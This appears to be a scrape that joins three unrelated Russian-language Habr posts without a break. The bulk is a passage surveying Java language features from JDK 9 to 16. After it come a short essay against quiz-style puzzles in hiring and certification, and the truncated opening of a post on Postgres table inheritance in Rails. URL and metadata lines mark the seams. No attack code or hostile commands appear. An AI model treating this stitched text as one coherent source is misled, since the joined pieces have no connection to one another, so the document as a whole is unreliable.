Еще один пример, с которым я столкнулся, - это [Spring, которая также](https://dzone.com/articles/jdk-14-records-for-spring-devs) во многих случаях [поддерживает записи прямо](https://dzone.com/articles/jdk-14-records-for-spring-devs) из коробки. Список включает сериализацию и даже внедрение зависимостей, но библиотека [ModelMapper,](https://github.com/modelmapper/modelmapper) используемая многими приложениями Spring[, не поддерживает сопоставление JavaBeans с классами записи](https://github.com/modelmapper/modelmapper/issues/546).
Я советую **обновить и проверить свой инструментарий, прежде чем применять классы записи,** чтобы избежать сюрпризов, но в целом справедливо предположить, что популярные инструменты уже охватывают большинство функций.
Посмотрите мои [эксперименты с интеграцией инструментов для классов записи на GitHub](https://github.com/dodie/java-tutorials/tree/master/working-with-structured-data).
### Сопоставление с образцом для instanceof
**Доступно с:**[**JDK 16**](https://openjdk.java.net/jeps/394) (предварительная [**версия**](https://openjdk.java.net/jeps/305) в [**JDK 14**](https://openjdk.java.net/jeps/305)[**JDK 15**](https://openjdk.java.net/jeps/375) )
В большинстве случаев за `instanceof`обычно следует приведение типа:
```
if (obj instanceof String) {
String s = (String) obj;
// use s
}
```
Так было в старые времена, потому что Java 16 расширяет возможности `instanceof` и делает этот типичный сценарий менее многословным:
```
if (obj instanceof String s) {
// use s
}
```
Шаблон представляет собой комбинацию *теста* ( `obj instanceof String`) и *переменной шаблона* ( `s`).
*Тест***работает почти как тест для старых** `instanceof`, за исключением того, что приводит к ошибке компиляции, если условие всегда возвращает *true*:
```
// "старый" instanceof без переменной шаблона:
// компилируется с условием, которое всегда истинно
Integer i = 1;
if (i instanceof Object) { ... } // работает
// "новый" instanceof, с переменной шаблона:
// дает ошибку компиляции в этом случае
if (i instanceof Object o) { ... } // ошибка
```
Обратите внимание, что противоположный случай, когда сопоставление с образцом всегда дает false, уже является ошибкой времени компиляции даже для старого `instanceof`.
*Переменная шаблона* создается, только если тест успешен. Она **работает почти как обычная не final переменная**:
* она может быть изменена
* она может переопределять объявления полей
* если есть локальная переменная с тем же именем, это приведет к ошибке компиляции
Однако к таким переменным применяются особые правила области действия: переменная шаблона находится **в области действия, где она точно совпала**, что определяется анализом области действия потока выполнения.
Самый простой случай - это то, что можно увидеть в приведенном выше примере: если тест проходит, переменную `s` можно использовать внутри блока if.
Но правило «точно совпадают» также применимо и к частям более сложных условий:
```
if (obj instanceof String s && s.length() > 5) {
// use s
}
```
`s` может использоваться во второй части условия, потому что она оценивается только тогда, когда первая выполняется успешно и `instanceof`оператор имеет совпадение.
Чтобы привести еще менее тривиальный пример, ранние возвраты и исключения также могут гарантировать совпадения:
```
private static int getLength(Object obj) {
if (!(obj instanceof String s)) {
throw new IllegalArgumentException();
}
// s находится в области видимости - если instanceof не совпадет
// выполнение не достигнет этого оператора
return s.length();
}
```
Анализ потока видимости работает аналогично существующему анализу потоков выполнения, например проверке на предмет [определенного присвоения](https://docs.oracle.com/javase/specs/jls/se15/html/jls-16.html):
```
private static int getDoubleLength(String s) {
int a; // 'a' declared but unassigned
if (s == null) {
return 0; // return early
} else {
a = s.length(); // assign 'a'
}
// 'a' is definitely assigned
// so we can use it
a = a * 2;
return a;
}
```
Мне очень нравится эта функция, поскольку она, вероятно, уменьшит ненужное раздувание кода, вызванное явным приведением типов в Java программе. Однако, в отличие от более современных языков, эта функция все еще кажется немного многословной.
Например, в Kotlin вам не нужно определять переменную шаблона:
```
if (obj is String) {
print(obj.length)
}
```
В случае Java переменные шаблона добавляются для обеспечения обратной совместимости, поскольку изменение типа `obj`in `obj instanceof String`будет означать, что при `obj`использовании в качестве аргумента перегруженного метода вызов может разрешить другую версию метода.
#### ️ Совет: следите за обновлениями
Функция сопоставления с образцом может показаться не такой уж большой проблемой в ее нынешнем виде, но вскоре она получит еще много интересных возможностей.
[JEP 405](https://openjdk.java.net/jeps/405) предлагает добавить функции декомпозиции, чтобы также соответствовать содержимому класса записи или массива:
```
if (o instanceof Point(int x, int y)) {
System.out.println(x + y);
}
if (o instanceof String[] { String s1, String s2, ... }){
System.out.println("Первые два элемента этого массива: " + s1 + ", " + s2);
```
Кроме того, [JEP 406](https://openjdk.java.net/jeps/406) посвящен добавлению функций сопоставления с образцом для операторов и switch выражений:
```
return switch (o) {
case Integer i -> String.format("int %d", i);
case Long l -> String.format("long %d", l);
case Double d -> String.format("double %f", d);
case String s -> String.format("String %s", s);
default -> o.toString();
};
```
В настоящее время оба JEP находятся в статусе *кандидата* и не имеют конкретной целевой версии, но я надеюсь, что мы скоро увидим их предварительные версии.
### Текстовые блоки
**Доступно с:**[**JDK 15**](https://openjdk.java.net/jeps/378) (предварительная [**версия**](https://openjdk.java.net/jeps/355) в [**JDK 13**](https://openjdk.java.net/jeps/355)[**JDK 14**](https://openjdk.java.net/jeps/368) )
По сравнению с другими современными языками, в Java было заведомо сложно выразить текст, состоящий из нескольких строк:
```
String html = "";
html += "\n";
html += " \n";
html += " Hello, world
\n";
html += " \n";
html += "\n";
System.out.println(html);
```
Чтобы сделать это более удобным для программистов, в Java 15 были введены многострочные строковые литералы, называемые текстовыми блоками:
```
String html = """
Hello, world
""";
System.out.println(html);
```
Они похожи на старые строковые литералы, но могут содержать **новые строки и кавычки без экранирования**.
Текстовые блоки начинаются с `"""` новой строки и заканчиваются `"""`. Закрывающий токен может находиться в конце последней строки или в отдельной строке, как в приведенном выше примере.
Их можно использовать везде, где можно использовать старый строковый литерал, и они оба создают похожие строковые объекты.
Для каждого разрыва строки в исходном коде в результате будет символ `\n`.
```
String twoLines = """
Hello
World
""";
```
Этого можно избежать, завершив строку символом `\`, что может быть полезно в случае очень длинных строк, которые вы хотите разделить на две, чтобы исходный код оставался читабельным.
```
String singleLine = """
Hello \
World
""";
```
Текстовые блоки могут быть выровнены с соседним кодом Java, поскольку **случайные отступы автоматически удаляются**. Компилятор проверяет пробелы, используемые для отступа в каждой строке, чтобы найти строку с наименьшим отступом, и сдвигает каждую строку влево на этот минимальный общий отступ.
Это означает, что, если закрытие `"""`находится в отдельной строке, отступ можно увеличить, сдвинув закрывающий токен влево.
```
String noIndentation = """
First line
Second line
""";
String indentedByToSpaces = """
First line
Second line
""";
```
Открывающий токен `"""`не учитывается при удалении отступа, поэтому нет необходимости выравнивать текстовый блок с ним. Например, оба следующих примера создают одну и ту же строку с одинаковым отступом:
```
String indentedByToSpaces = """
First line
Second line
""";
String indentedByToSpaces = """
First line
Second line
""";
```
Класс `String` также предоставляет некоторые программные способы обращения с отступом. Метод `indent`принимает целое число и возвращает новую строку с заданными уровнями дополнительного отступа, а `stripIndent` возвращает содержимое исходной строки без всех несущественных отступов.
Текстовые блоки не поддерживают интерполяцию, чего мне очень не хватает. Как сказано в JEP, это может быть рассмотрено в будущем, а до тех пор мы можно использовать `String::formatted`или `String::format`:
```
var greeting = """
hello
%s
""".formatted("world");
```
Ресурсы:
* [Руководство программиста по текстовым блокам](https://cr.openjdk.java.net/~jlaskey/Strings/TextBlocksGuide_v11.html)
* [Полное руководство по текстовым блокам в Java 13](https://nipafx.dev/java-13-text-blocks#)
* [Текстовые блоки Java - Bealdung](https://www.baeldung.com/java-text-blocks)
#### ️ Совет: сохраняйте конечные пробелы
Конечные пробелы в текстовых блоках игнорируются. Обычно это не проблема, но в некоторых случаях они имеют значение, например, в контексте модульного теста, когда результат метода сравнивается с базовым значением.
В этом случае помните о них, и если строка заканчивается пробелом, добавьте `\s`или `\t` вместо последнего пробела или табуляции в конец строки.
#### ️ Совет: создавайте правильные символы новой строки для Windows
[Окончания строк](https://en.wikipedia.org/wiki/Newline) представлены разными управляющими символами в Unix и Windows. В первом случае используется одинарный перевод строки ( `\n`), а во втором - возврат каретки, за которым следует перевод строки ( `\r\n`).
Однако независимо от того, какую операционную систему вы выберете или как вы кодируете новые строки в исходном коде, текстовые блоки будут использовать одну `\n` для каждой новой строки, что может привести к проблемам совместимости.
```
Files.writeString(Paths.get(""), """
first line
second line
""");
```
Если для открытия такого файла используется инструмент, совместимый только с форматом окончания строки Windows (например, Блокнот), он будет отображать только одну строку. Убедитесь, что вы используете правильные управляющие символы, если вы также ориентируетесь на Windows, например, путем вызова `String::replace` для замены каждого `"\n"` на `"\r\n"`.
#### ️ Совет: обратите внимание на однотипный отступ
Текстовые блоки хорошо работают с любым типом отступа: пробелы табуляции или даже сочетание этих двух. Однако важно использовать **однотипный отступ** для каждой строки в блоке, иначе несущественный отступ может быть не удален.
Большинство редакторов предлагают автоформатирование и автоматически добавляют отступ в каждой новой строке, когда вы нажимаете Enter. Обязательно используйте последнюю версию этих инструментов, чтобы убедиться, что они хорошо работают с текстовыми блоками, и не пытайтесь добавлять некорректные отступы.
### Полезные исключения NullPointerExceptions
**Доступно с:**[**JDK 15**](https://bugs.openjdk.java.net/browse/JDK-8233014) (Включено `-XX:+ShowCodeDetailsInExceptionMessages`в [**JDK 14**](https://openjdk.java.net/jeps/358) )
Эта маленькая жемчужина - не совсем языковая функция, но она настолько хороша, что я захотел включить ее в этот список.
Традиционно исключение `NullPointerException` дает такой вывод:
```
node.getElementsByTagName("name").item(0).getChildNodes().item(0).getNodeValue();
Exception in thread "main" java.lang.NullPointerException
at Unlucky.method(Unlucky.java:83)
```
Из исключения не очевидно, какой метод в данном случае вернул значение null. По этой причине многие разработчики обычно распределяли такие утверждения по нескольким строкам, чтобы убедиться, что они смогут выяснить, какой шаг привел к исключению.
Начиная с Java 15, в этом нет необходимости, потому что NPE описывает, какая часть в операторе имеет значение null. (Кроме того, в Java 14 вы можете включить его с помощью `-XX:+ShowCodeDetailsInExceptionMessages`флага.)
```
Exception in thread "main" java.lang.NullPointerException:
Cannot invoke "org.w3c.dom.Node.getChildNodes()" because
the return value of "org.w3c.dom.NodeList.item(int)" is null
at Unlucky.method(Unlucky.java:83)
```
( [Посмотрите пример проекта на GitHub](https://github.com/dodie/java-tutorials/tree/master/java-helpful-npe-demo) )
Подробное сообщение содержит действие, которое не удалось выполнить (невозможно вызвать `getChildNodes`), и причину сбоя (`item(int)`есть `null`), что значительно упрощает поиск точного источника проблемы.
Таким образом, **эта функция хороша для отладки, а также для удобочитаемости кода,** поэтому не стоит жертвовать ею по техническим причинам.
Расширение Helpful NullPointerExceptions реализовано в JVM, поэтому вы получаете те же преимущества для кода, скомпилированного с более старыми версиями Java, и при использовании других языков JVM, таких как Scala или Kotlin.
Обратите внимание, что **не все NPE получают эту дополнительную информацию, а только те, которые создаются и генерируются JVM** при:
* чтении или записи null в поля
* вызов null метода
* доступ или присвоение элемента массива (индексы **не** являются частью сообщения об ошибке)
* [unboxing](https://docs.oracle.com/javase/tutorial/java/data/autoboxing.html) null
Также обратите внимание, что эта функция **не поддерживает сериализацию.** Например, когда NPE генерируется в удаленном коде, выполняемом через RMI, исключение не будет включать полезное сообщение.
В настоящее время **Helpful NullPointerExceptions отключены по умолчанию** и должны быть включены с помощью `-XX:+ShowCodeDetailsInExceptionMessages`флага.
#### ️ Совет: проверьте свои инструменты
При обновлении до Java 15 обязательно проверьте свое приложение и инфраструктуру, чтобы убедиться:
* имена конфиденциальных переменных не попадают в файлы журналов и ответы веб-сервера
* инструменты анализа журнала могут обрабатывать новый формат сообщений
* накладные расходы, необходимые для создания дополнительных деталей, приемлемы
### Switch выражения
**Доступно с:**[**JDK 14**](https://openjdk.java.net/jeps/361) (предварительная [**версия**](https://openjdk.java.net/jeps/325) в [**JDK 12**](https://openjdk.java.net/jeps/325)[**JDK 13**](https://openjdk.java.net/jeps/354) )
Старый добрый `switch` получил обновленную версию в Java 14. Хотя Java продолжает поддерживать старый [оператор switch](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/switch.html), он добавляет в язык новое **switch** **выражение**:
```
int numLetters = switch (day) {
case MONDAY, FRIDAY, SUNDAY -> 6;
case TUESDAY -> 7;
default -> {
String s = day.toString();
int result = s.length();
yield result;
}
};
```
Самое поразительное отличие состоит в том, что эту новую форму **можно использовать как выражение**. Его можно использовать для заполнения переменных, как показано в приведенном выше примере, и его можно использовать везде, где принято выражение:
```
int k = 3;
System.out.println(
switch (k) {
case 1 -> "one";
case 2 -> "two";
default -> "many";
}
);
```
Однако есть и другие, более тонкие различия между switch выражениями и операторами switch.
Во-первых, для switch выражений **варианты (case) не выполняются все**. Поэтому нет больше никаких мелких ошибок, вызванных отсутствием `break`. **Можно указать несколько констант для каждого случая**.
У каждого **варианта своя область видимости**.
```
String s = switch (k) {
case 1 -> {
String temp = "one";
yield temp;
}
case 2 -> {
String temp = "two";
yield temp;
}
default -> "many";
}
```
Ветвь - это либо одно выражение, либо, если оно состоит из нескольких операторов, оно должно быть заключено в блок.
В-третьих, **варианты switch выражения являются исчерпывающими**. Это означает, что для String, примитивных типов и их оболочек `default`всегда должен быть определен регистр.
```
int k = 3;
String s = switch (k) {
case 1 -> "one";
case 2 -> "two";
default -> "many";
}
```
Для `enums` либо случай `default` должен присутствовать, или все вариантыдолжны быть охвачены явно. Довольно приятно полагаться на последнее, чтобы убедиться, что все значения учтены. Добавление дополнительного значения к `enum` переменной приведет к ошибке компиляции для всех switch выражений, в которых она используется.
```
enum Day {
MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY, SUNDAY
}
Day day = Day.TUESDAY;
switch (day) {
case MONDAY -> ":(";
case TUESDAY, WEDNESDAY, THURSDAY -> ":|";
case FRIDAY -> ":)";
case SATURDAY, SUNDAY -> ":D";
}
```
По всем этим причинам предпочтение switch выражений операторам switch может привести к созданию более удобного в сопровождении кода.
#### ️ Совет: используйте синтаксис стрелок
Switch выражение можно использовать не только с лямбда-подобными случаями формы стрелки. **Старый оператор switch с его вариантами с двоеточиями также можно использовать как выражение,** используя `yield`:
```
int result = switch (s) {
case "foo":
case "bar":
yield 2;
default:
yield 3;
};
```
Эта версия также может использоваться как выражение, но она больше похожа на старый оператор switch, потому что
* варианты выполняются все
* варианты имеют одинаковую область видимости
Мой совет? Не используйте эту форму, вместо этого используйте switch выражения с синтаксисом стрелки, чтобы получить все преимущества.
### Вывод типа локальной переменной
**Доступно с:**[**JDK 11**](https://openjdk.java.net/jeps/323) (без поддержки лямбда в [**JDK 10**](https://openjdk.java.net/jeps/286) )
Вероятно, наиболее значительным улучшением языка со времен Java 8 является добавление ключевого слова `var`. Первоначально оно было представлено в [Java 10](https://openjdk.java.net/jeps/286) и было дополнительно улучшено в [Java 11](https://openjdk.java.net/jeps/323).
Эта функция позволяет нам упростить объявления локальной переменной, опуская явную спецификацию типа:
```
var greetingMessage = "Hello!";
```
Хотя это похоже на ключевое слово `var в`Javascript, **речь не** идет **о динамической типизации**.
Прочитайте эту цитату из JEP:
> Мы стремимся улучшить взаимодействие с разработчиками за счет сокращения церемоний, связанных с написанием кода Java, при сохранении приверженности Java к безопасности статических типов.
>
>
Тип объявленных переменных **определяется во время компиляции**. В приведенном выше примере предполагаемый тип - String. Использование `var` вместо явного типа делает этот фрагмент кода менее избыточным и, следовательно, более удобным для чтения.
Вот еще один хороший кандидат для вывода типов:
```
MyAwesomeClass awesome = new MyAwesomeClass();
```
Понятно, что во многих случаях эта функция может улучшить качество кода. Однако иногда лучше придерживаться явного объявления типа. Давайте посмотрим на несколько примеров, когда замена объявления типа на `var` может иметь неприятные последствия.
#### ️ Совет: помните о удобочитаемости
В первом случае удаление явной информации о типе из исходного кода делает его менее читаемым.
Конечно, IDE могут помочь в этом отношении, но во время проверки кода или, когда вы просто быстро просматриваете код, это может ухудшить читаемость. Например, рассмотрим фабрики или строители: вам нужно найти код, отвечающий за инициализацию объекта, чтобы определить тип.
Вот небольшая загадка. Следующий фрагмент кода использует API даты и времени Java 8. Угадайте типы переменных в следующем фрагменте:
```
var date = LocalDate.parse("2019-08-13");
var dayOfWeek = date.getDayOfWeek();
var dayOfMonth = date.getDayOfMonth();
```
Сделали? Вот решение:
Первый довольно интуитивно понятен, `parse` метод возвращает `LocalDate`объект. Однако в следующих двух вы должны быть немного лучше знакомы с API: `dayOfWeek`возвращает a `java.time.DayOfWeek`, а `dayOfMonth`просто возвращает `int`.
Другая потенциальная проблема заключается в том, что с `var` читателю приходится больше полагаться на контекст. Учтите следующее:
```
private void longerMethod() {
// ...
// ...
// ...
var dayOfWeek = date.getDayOfWeek();
// ...
// ...
// ...
}
```
Бьюсь об заклад, основываясь на предыдущем примере, вы догадались, что это файл `java.time.DayOfWeek`. Но на этот раз это целое число, потому что `date` в этом примере используется время Joda. Это другой API, который ведет себя немного иначе, но вы этого не видите, потому что это более длинный метод, и вы не прочитали все строки. (JavaDoc: [Joda time](https://www.joda.org/joda-time/apidocs/org/joda/time/ReadableDateTime.html#getDayOfWeek--) / [Java 8 Date / Time API](https://docs.oracle.com/javase/8/docs/api/java/time/LocalDate.html#getDayOfWeek--) )
Если бы явное объявление типа присутствовало, выяснить, какой у него тип `dayOfWeek`, было бы тривиально. Теперь, с `var`, читатель сначала должен узнать тип `date` переменной и проверить, что `getDayOfWeek` делает. Это просто с IDE, не так просто при визуальном сканировании кода.
#### ️ Совет: обратите внимание на сохранение важной информации о типе
Во втором случае при использовании `var` удаляется вся доступная информация о типах, поэтому ее невозможно даже вывести. В большинстве случаев эти ситуации улавливаются компилятором Java. Например, `var` не может вывести тип для лямбда-выражений или ссылок на методы, потому что для этих функций компилятор полагается на выражение в левой части для определения типов.
Однако есть несколько исключений. Например, `var` плохо работает с Diamond Operator. Оператор Diamond - удобная функция для удаления некоторой многословности из правой части выражения при создании универсального экземпляра:
```
Map myMap = new HashMap(); // До Java 7
Map myMap = new HashMap<>(); // Используя Diamond оператор
```
Поскольку он имеет дело только с generic типами, можно удалить избыточность. Попробуем сделать его короче с `var`:
```
var myMap = new HashMap<>();
```
Этот пример корректный, и в Java 11 он даже не выдает в компиляторе предупреждений об этом. Однако со всем этим выводом типов мы пришли к тому, что вообще не указали универсальные типы, и тип будет `Map`.
Конечно, эта проблема может быть легко решена удалением Diamond оператора:
```
var myMap = new HashMap();
```
Другой набор проблем может возникнуть при использовании `var` с примитивными типами данных:
```
byte b = 1;
short s = 1;
int i = 1;
long l = 1;
float f = 1;
double d = 1;
```
Без явного объявления типа будет выведен тип всех этих переменных `int`. Используйте литералы типа (например, `1L`) при работе с примитивными типами данных или не используйте `var` в этом случае вообще.
#### ️ Совет: обязательно прочтите официальные руководства по стилю программирования.
В конечном итоге вам решать, когда использовать вывод типа и убедиться, что это не повлияет на удобочитаемость и правильность. Как показывает опыт, соблюдение хороших практик программирования, таких как правильное именование и минимизация объема локальных переменных, безусловно, очень помогает. Обязательно прочтите официальное [руководство по стилю](https://openjdk.java.net/projects/amber/LVTIstyle.html) и [часто задаваемые вопросы](https://openjdk.java.net/projects/amber/LVTIFAQ.html) о `var`.
Поскольку с var возникает так много ошибок, хорошо если оно будет использоваться консервативно и только с локальными переменными, область действия которых обычно довольно ограничена.
Кроме того, оно было введено с осторожностью, `var`- это **не новое ключевое слово, а зарезервированное имя типа**. Это означает, что оно имеет особое значение только тогда, когда оно используется в качестве имени типа, в остальном `var` продолжает оставаться допустимым идентификатором.
В настоящее время `var` не имеет неизменяемого аналога (такого как `val` или `const`) для объявления final переменной и определения ее типа с помощью одного ключевого слова. Надеюсь, мы получим это в следующем выпуске, а пока мы можем использовать `final var`.
Ресурсы:
* [First Contact With ‘var’ In Java 10](https://blog.codefx.org/java/java-10-var-type-inference/)
* [26 Items for Dissecting Java Local Variable Type Inference (Var Type)](https://dzone.com/articles/var-work-in-progress)
* [Java 10: определение типа локальной переменной](https://www.journaldev.com/19871/java-10-local-variable-type-inference)
### Разрешены private методы в интерфейсах
**Доступно с:**[**JDK 9**](https://openjdk.java.net/jeps/213) (Milling Project Coin )
Начиная с Java 8, в интерфейсы можно добавлять методы по умолчанию. В Java 9 эти методы по умолчанию могут даже вызывать private методы для совместного использования кода в случае, если вам необходимо его повторное использование, но вы не хотите раскрывать функциональность публично.
Хотя это не так уж важно, но это логическое дополнение, которое позволяет привести код в порядок в методах по умолчанию.
### Оператор Diamond для анонимных внутренних классов
**Доступно с:**[**JDK 9**](https://openjdk.java.net/jeps/213) (Milling Project Coin )
Java 7 представила Diamond оператор (`<>`) для уменьшения многословности, позволяя компилятору определять типы параметров для конструкторов:
```
List numbers = new ArrayList<>();
```
Однако раньше эта функция не работала с анонимными внутренними классами. Согласно [обсуждению в списке рассылки проекта,](http://mail.openjdk.java.net/pipermail/coin-dev/2011-June/003283.html) это не было добавлено как часть исходной функции Diamond оператор, потому что для этого требовалось существенное изменение JVM.
В Java 9 эта небольшая шероховатость устранена, что делает оператор более универсальным:
```
List numbers = new ArrayList<>() {
// ...
}
```
### Разрешено использовать final переменные в качестве ресурсов в операторах try-with-resources
**Доступно с:**[**JDK 9**](https://openjdk.java.net/jeps/213) (Milling Project Coin)
Еще одно усовершенствование, представленное в Java 7, - это расширение `try-with-resources`, которое освобождает разработчика от необходимости беспокоиться об освобождении ресурсов.
Чтобы проиллюстрировать его возможности, сначала рассмотрим усилия, предпринятые для правильного закрытия ресурса в этом типичном примере до Java 7:
```
BufferedReader br = new BufferedReader(...);
try {
return br.readLine();
} finally {
if (br != null) {
br.close();
}
}
```
С `try-with-resources`ресурсы могут быть автоматически освобождены, с гораздо меньшим объемом кода:
```
try (BufferedReader br = new BufferedReader(...)) {
return br.readLine();
}
```
Несмотря на свою мощь, `try-with-resources` в Java 9 было несколько недостатков.
Хотя эта конструкция может обрабатывать несколько ресурсов, она может легко усложнить чтение кода. Объявление таких переменных в списке после `try` ключевого слова немного нетрадиционно по сравнению с обычным кодом Java:
```
try (BufferedReader br1 = new BufferedReader(...);
BufferedReader br2 = new BufferedReader(...)) {
System.out.println(br1.readLine() + br2.readLine());
}
```
Кроме того, в версии Java 7, если у вас уже есть переменная, которую вы хотите обрабатывать с помощью этой конструкции, вам нужно было ввести фиктивную переменную. (Для примера см. [JDK-8068948](https://bugs.openjdk.java.net/browse/JDK-8068948).)
Чтобы смягчить эту критику, `try-with-resources` была улучшена обработка final или фактически final локальных переменных в дополнение к вновь созданным:
```
BufferedReader br1 = new BufferedReader(...);
BufferedReader br2 = new BufferedReader(...);
try (br1; br2) {
System.out.println(br1.readLine() + br2.readLine());
}
```
В этом примере инициализация переменных отделена от их регистрации в конструкции `try-with-resources`.
#### Совет: следите за освобожденными ресурсами
Следует иметь в виду одно предостережение: теперь можно ссылаться на переменные, которые уже освобождены, с помощью try-with-resources, что в большинстве случаев завершается ошибкой:
```
BufferedReader br = new BufferedReader(...);
try (br) {
System.out.println(br.readLine());
}
br.readLine(); // Boom!
```
### Подчеркивание больше не является допустимым именем идентификатора
**Доступно с:**[**JDK 9**](https://openjdk.java.net/jeps/213) (Milling Project Coin)
В Java 8 компилятор выдает предупреждение, когда "\_" используется в качестве идентификатора. Java 9 пошла дальше, сделав единственный символ подчеркивания недопустимым в качестве идентификатора, сохранив за этим именем особую семантику в будущем:
```
int _ = 10; // Ошибка компиляции
```
### Улучшенные предупреждения
**Доступно с:** [**JDK 9**](https://openjdk.java.net/jeps/211)
Наконец, позвольте сказать несколько слов об изменениях, связанных с предупреждениями компилятора в новых версиях Java.
Теперь можно аннотировать частный метод, `@SafeVarargs` чтобы пометить `Type safety: Potential heap pollution via varargs parameter`предупреждение как ложное срабатывание. (Фактически, это изменение является частью ранее обсуждавшегося [JEP 213: Milling Project Coin](https://openjdk.java.net/jeps/213) ). Узнайте больше о [Varargs](https://docs.oracle.com/javase/8/docs/technotes/guides/language/varargs.html), [Generics](https://docs.oracle.com/javase/8/docs/technotes/guides/language/generics.html) и [потенциальных проблемах,](https://docs.oracle.com/javase/tutorial/java/generics/nonReifiableVarargsType.html) которые могут возникнуть при объединении этих функций в официальной документации.
Также, начиная с [Java 9](https://openjdk.java.net/jeps/211), компилятор не выдает предупреждения для операторов импорта при импорте устаревшего типа. Эти предупреждения были неинформативными и избыточными, поскольку при фактическом использовании устаревших элементов всегда отображается отдельное предупреждение.
### Что дальше: превью функции в Java 16
В Java 16 есть превью функция языка, которую можно включить с помощью `--enable-preview -source 16` флагов. Скорее всего, мы скоро увидим это как готовую функцию языка Java. Вот небольшой тизер.
#### Sealed (запечатанные) классы
[JEP 360](https://openjdk.java.net/jeps/360) улучшает добавленные в язык sealed классы и интерфейсы, которые можно использовать для ограничения того, какие другие классы или интерфейсы могут их расширять или реализовывать.
```
public abstract sealed class Shape
permits Circle, Rectangle {...}
public class Circle extends Shape {...} // OK
public class Rectangle extends Shape {...} // OK
public class Triangle extends Shape {...} // Ошибка компиляции
```
Эта функция также улучшает switch выражения. Как и в случае с enum, если возможные значения известны во время компиляции и все случаи обработаны, нет необходимости определять ветвь по умолчанию.
```
double area = switch (shape) {
case Circle c -> Math.pow(c.radius(), 2) * Math.PI
case Rectangle r -> r.a() * r.b()
};
```
### Резюме
В этом посте рассматриваются улучшения, связанные с языком Java, начиная с Java 8. Важно следить за платформой Java, поскольку с новой быстрой периодичностью выпуска новая версия Java выпускается каждые шесть месяцев, добавляя изменения в платформу и в язык. | https://habr.com/ru/post/551492/ | null | ru | null |
# Ты не компилятор
На конференциях часто на стендах раздают подарки. Обычно нужно решить какую-то задачку.
### Невинная головоломка
Некоторые из задач предусматривают решение головоломки с кодом, вроде такой:
> Каким будет результат выполнения следующего кода:
>
>
>
>
> ```
> public class Sum {
>
> public static void main(String[] args) {
> System.out.println(0123 + 3210);
> }
> }
> ```
>
>
> 1. 3293
> 2. 3333
> 3. Этот код не компилируется
> 4. Этот код приводит к ошибке `IllegalArgumentException`
> 5. Ничего из вышеперечисленного
>
Моя обычная реакция — или немедленно покинуть стенд, или, если время позволяет, набрать код на ноутбуке, чтобы посмотреть результат (или поискать в Google). Вы можете упрекнуть меня в лености, но я предпочитаю представлять себя экспертом по тайм-менеджменту.
### Просто, но бесполезно
Единственное преимущество такого подхода — оценить ответы может любой, если у него есть правильные ответы. И это всё.
Кроме этого, такого рода головоломки ни о чём не говорят. Это не было бы проблемой, если бы подобные задачки не выходили за пределы выставочных стендов как «забавные» игры. К сожалению, такие штуки начинают использовать повсеместно для отсева кандидатов при приёме на работу или сертификации.
В обоих случаях следует оценить способности, а наиболее простым решением видят как раз тест-опросник с несколькими вариантами ответа. Конечно, если у человека нет доступа к IDE или Google, то это становится трудной задачей. Но что проверяется в вышеприведённом примере? Знание очень специфической ситуации, которая возникает при определённых параметрах. Это специфическое использование, которое в любом случае я запретил бы использовать в своих проектах по той же причине: это исключительная ситуация! А я не хочу, чтобы в моём коде встречались такие ситуации.
### Другой пример
Вот ещё одна задачка, с которой вы можете столкнуться:
> Какова корректная сигнатура метода `service()` в классе `javax.servlet.http.HttpServlet`?
>
>
>
> 1. `public void service(ServletRequest, ServletResponse)`
> 2. `public void service(HttpServletRequest, HttpServletResponse)`
> 3. `public int service(ServletRequest, ServletResponse)`
> 4. `public int service(HttpServletRequest, HttpServletResponse)`
> 5. `protected void service(ServletRequest, ServletResponse)`
> 6. `protected void service(HttpServletRequest, HttpServletResponse)`
> 7. `protected int service(ServletRequest, ServletResponse)`
> 8. `protected int service(HttpServletRequest, HttpServletResponse)`
>
Такие вопросы не проверяют ничего, кроме способности запомнить часть функциональности основных IDE или документации JavaDoc.
*Примечание. На самом деле полное название это статьи должно быть «Ты не компилятор, не среда выполнения и не документация».*
### Ключевая проблема
Нет ни единого доказательства положительной корреляции между правильными ответами на вышеприведённые вопросы и реальным умением применить способности, которые должны оценивать эти тесты. Существует ли альтернатива? Да. Не нужно проверять незначительные фрагменты знаний, а следует проверить именно то, что вы хотите оценить, при тех же условиях, включая IDE, документацию, Google и проч.
* Хотите оценить, как кандидат справляется с чтением кода? Дайте ему прочитать свой собственный код — или похожий код, если ваш секретный.
* Хотите оценить, как кандидат пишет код? Дайте ему написать код, например, пофиксить уже исправленный баг.
То же самое относится к сертификации.
Конечно, недостаток такого решения в том, что оно требует времени. Времени для подготовки материала. Времени для анализа результатов. Времени для собеседования.
Осуществимо ли такое? К сожалению тех, кто считает это утопией, такая система уже существует. Наилучший пример — [Java EE Enterprise Architect](https://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=654&get_params=p_id:164). Хотя на первом этапе нужно пройти тест с несколькими вариантами ответа, другие этапы предусматривают выполнение заданий как в настоящем проекте и написание соответствующего эссе.
Другой пример более личный. Я работаю лектором в ряде высших учебных заведений. На некоторых курсах я оцениваю студентов, давая им задание: разработать очень маленькое приложение. Задание даётся в виде спецификаций, как принято в мире бизнес-аналитики.
### Вывод
Ради блага нашей индустрии, давайте прекратим притворяться, что головоломки имеют какую-то ценность кроме как забавные задачки для развлечения с коллегами. Нам нужно больше думать о последствиях приёма на работу плохого профессионала, чем о времени, которое мы тратим на оценку способностей кандидата. Есть же альтернативы, используйте их. Или разгребайте последствия. | https://habr.com/ru/post/336838/ | null | ru | null |
# Наследование таблиц в Postgresql с Ruby On Rails
Что это и зачем нужно?
Предположим у вас есть крупное новостное издание, у которого много разных типов материалов.
Для каждого типа материала существует своя модель: `Topics::Article`, `Topics::Online`, `Topics::NewsItem` и так далее. У них будут одинаковыми большинство полей, такие как заголовок, обложка, текст, авторы. Различие только в нескольких специфичных полях, уникальных для каждого типа топика.
Поэтому вам не хочется раскладывать их по отдельным таблицам. Кроме нежелания создавать почти полностью повторяющиеся таблицы, для этого могут быть и несколько других причин. Необходимость сложных выборок с разными комбинациями этих типов, водопады UNION и полиморфизм подключающихся моделей в том числе.
Под катом опыт организации похожих моделей внутри Postgresql, с итогом в виде миграции на наследование таблиц. Стрельба в ногу серебряной пулей тоже присутствует, куда же без нее.
Single Table Inheritance
------------------------
Первое что приходит в голову, это классический Single Table Inheritance. В Рельсах он автоматически включается, если наследовать одну модель от другой.
Создав одну общую таблицу Topics и добавив в нее служебное поле type можно хранить все классы внутри одной таблицы.
```
class Topic < ActiveRecord::Base
end
